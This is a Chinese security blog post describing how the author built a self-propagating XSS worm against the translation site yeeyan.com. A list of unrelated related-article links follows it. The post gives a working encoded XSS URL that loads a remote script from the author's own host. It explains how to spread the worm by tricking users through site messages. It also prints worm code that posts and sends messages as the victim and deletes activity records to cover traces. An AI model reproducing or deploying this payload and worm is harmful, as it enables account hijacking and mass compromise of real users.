作者:余弦
来源:0x37 Security

有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。译言http://www.yeeyan.com/是一个“发现、翻译、阅读中文之外的互联网精华”的web2.0网站,过滤系统真BT,不过其搜索引擎存在跨站,它的搜索引擎也真够BT,转义单引号、双引号,并且当搜索值含英文冒号:时就不返回搜索结果。于是我只能这样构造:

http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval(%53%74ring.f%72om%43%68ar%43ode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,121,121,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41))%3C/s%63%72ipt%3E

本来搜索引擎跨站没什么好玩的,但这次在yeeyan这就可以利用这个易被忽略点来诞生个XSS WORM。蠕虫要诞生必须解决以下几点:

Q1、上面这个Search Engine XSS Trap如何包含远程蠕虫?

A1、因为蠕虫的代码会很多,不可能一次性出现在这个XSS Trap中(对比:复制自身的微型XSS Worm),所以要想办法利用这个XSS Trap来调用远程蠕虫。方法很多,你解码这个XSS Trap就知道我的方法:)

Q2、如何让其他验证用户访问这个Search Engine XSS Trap?

A2、 先给某几位用户发站内信(借用蠕虫本身就可以批量发送:)),欺骗其访问,一旦他们访问,则这个XSS Trap会调用远程蠕虫,蠕虫会获取他们的好友信息与他们的信箱信息等等,这里面都有其他用户的信息。于是这个Search Engine XSS Trap就可以随站内信系统大量传播。

Q2、蠕虫如何获取访问Search Engine XSS Trap的用户标志信息?

A3、这点很重要,蠕虫的传播是要很多宿主的,要获得这些宿主就必须能够很清晰地获取特定用户标志信息,比如他的ID、他的空间地址等等。蠕虫一旦传播开,那就是爆发式的:)。

这些问题我都解决了,于是yeeyan的这个Search Engine XSS Worm就成功诞生。蠕虫部分代码如下:

var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
_1();
function _1(){
var _u=_3or7("GET","http://www.yeeyan.com/space/showme",null);
re=/\<a href=\"\/space\/groups\/(.*?)\">/i
r=_u.match(re);
src="http://www.yeeyan.com/groups/newTopic/";
var _txt="HELLO YEEYAN.";
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[Post][content]\"\r\n\r\n";
argv_1+=(_txt+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsggroup\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee_username\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
var _del=_3or7("GET","http://www.yeeyan.com/space/deleteEvent/15429",null);
//删除记录只需这样即可:)
_2();
}
function _2(){
src="http://www.yeeyan.com/space/compose_message";
var _to="Yasmin";
var _s="yeeyan";
var _m="HELL)"
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[receiver_name]\"\r\n\r\n";
argv_1+=(_to+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[subject]\"\r\n\r\n";
argv_1+=(_s+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message][content]\"\r\n\r\n";
argv_1+=(_m+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message_id]\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[action]\"\r\n\r\n";
argv_1+=("send"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
alert(0);
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
_x.send(_a);
return _x.responseText;
}

要理解这些代码可以参考我以前的文章,这里有线索:http://www.0x37.com/post/2.html。我写这个蠕虫的目的是验证http://www.0x37.com/post/2.html我 的这篇文章提到的方法,我只能说老外有点不负责任:),我还得重新编码,这个方法理论上是行得通的,只是我目前遇到了点麻烦。还是构造HTTP消息头来 POST蠕虫信息爽。借用搜索引擎来诞生蠕虫,我还是第一次这样做。只要满足XSS Trap与目标攻击点在严格的同域内就OK。

Search Engine XSS Worm相关推荐

  1. 企业搜索引擎(Enterprise Search Engine)的2007中重要的功能

    企业搜索引擎(Enterprise Search Engine)的2007中重要的功能 SPS 2003中的搜索引擎虽然可用,但是效果和准确程度让人很不满意,但是在MOSS 2007中提供了一个全新的 ...

  2. Deteming the User Intent of Web Search Engine

    论文心得. 把搜索分为三种类型:informational, navigational, transactional The classifications of informational, nav ...

  3. SEO全称:Search Engine Optimization,即搜索引擎优化

    SEO全称:Search Engine Optimization,即搜索引擎优化.是指为了从搜索引擎中获得更多的免费流量,从网站结构.内容建设方案.用户互动传播.页面等角度进行合理规划,使网站更适合搜 ...

  4. 【爬虫学习笔记day03】1.1. (了解)通用爬虫和聚焦爬虫+通用搜索引擎(Search Engine)工作原理+聚焦爬虫

    文章目录 1.1. (了解)通用爬虫和聚焦爬虫 通用爬虫和聚焦爬虫 通用爬虫 通用搜索引擎(Search Engine)工作原理 第一步:抓取网页 搜索引擎如何获取一个新网站的URL: 1. 新网站向 ...

  5. 关键词排名查询工具 - Search Engine Result Position Checker

    站长, 电子商务人员和搜索引擎优化研究员都知道, 关键词在搜索引擎中的排名至关重要.  为了满足这个普遍的需求, UESEO.org开发了 关键词排名查询工具 (Search Engine Resul ...

  6. Everything Search Engine这款软件如何做到如此快速的搜索的

    Everything和Windows搜索是有区别的,以下列几点: 1. Everything只能搜索文件名和文件夹名,Windows搜索可以搜索文件名和文件内容: 2. Everything只能搜索N ...

  7. Source Code Search Engine?

    Source Code Search Engine maybe you like it . http://www.koders.com/

  8. SEM(Search Engine Marketing)–

    SEM(Search Engine Marketing)–搜索引擎营销又称PPC(Pay Per Click),是搜索引擎的竞价排名广告推广.而搜索引擎营销越来越成为网络营销的重要一员,竞价排名广告为 ...

  9. TSE(Tiny Search Engine)介绍

    TSE是Tiny Search Engine("微型搜索引擎")的简称,由北京大学网络实验室出品 这个实验室推出过当年教育网搜索颇有名气的 "北大天网搜索" 天 ...

最新文章

  1. 华为手机没有耳塞插口_鸿蒙OS 2.0手机版开启公测!名单中只有华为手机没有荣耀...
  2. css实现浏览历史小块
  3. 巨一自动化工业机器人_2021第11届深圳国际工业自动化及机器人展览会
  4. 图论--Dijkstra算法总结
  5. 仔细看看_仔细看看,您会发现需要改进的地方
  6. 记录在Ubuntu 18.04系统中安装Apache, MySQL和PHP环境
  7. Spring Boot @ConfigurationProperties 、@EnableConfigurationProperties、@Value 注值、 ${xxx} 占位符、Environme
  8. 从酒店服务员到世界500强大数据工程师,月薪4K到年薪40W,我经历了什么?
  9. 应急响应— 操作系统分析(病毒、后门)
  10. python3调用arcpy地理加权回归_多元地理加权回归软件使用和含义
  11. 红外遥控系统原理附51单片机软件解码程序
  12. win10照片查看器_Windows 10如何找回自带的照片查看器?
  13. 切换电脑计算机名称软件,多电脑切换器
  14. Alacritty主题配置
  15. 晶体三极管原理及应用
  16. 百度换肤JavaScript功能
  17. 十三、添加RD 会话主机角色
  18. Vue pdf 文件(文件流)预览,下载,视频下载
  19. 关于root 联想ZUK z2 遇到的一系列问题
  20. android 渠道方案,Android 不同渠道差异代码

热门文章

  1. Windows路由表
  2. [ios2] ios使用自带git respository管理项目 【转】
  3. [Python] MySQLdb(即 MySQL-python 包)在 OS X 中安装指南
  4. PostMessage和sendMessage传递问题
  5. OpenCV:详解掩膜mask
  6. win32汇编基础概念
  7. C#获取容器窗体中控件Location问题
  8. linux suse 安装redis,suse 配置redis远程访问
  9. elementui 如何修改表格里面cell的样式
  10. visio的字体复制到word_学会这6个常用Word技巧,文档做起来又快又好看,办公如有神助...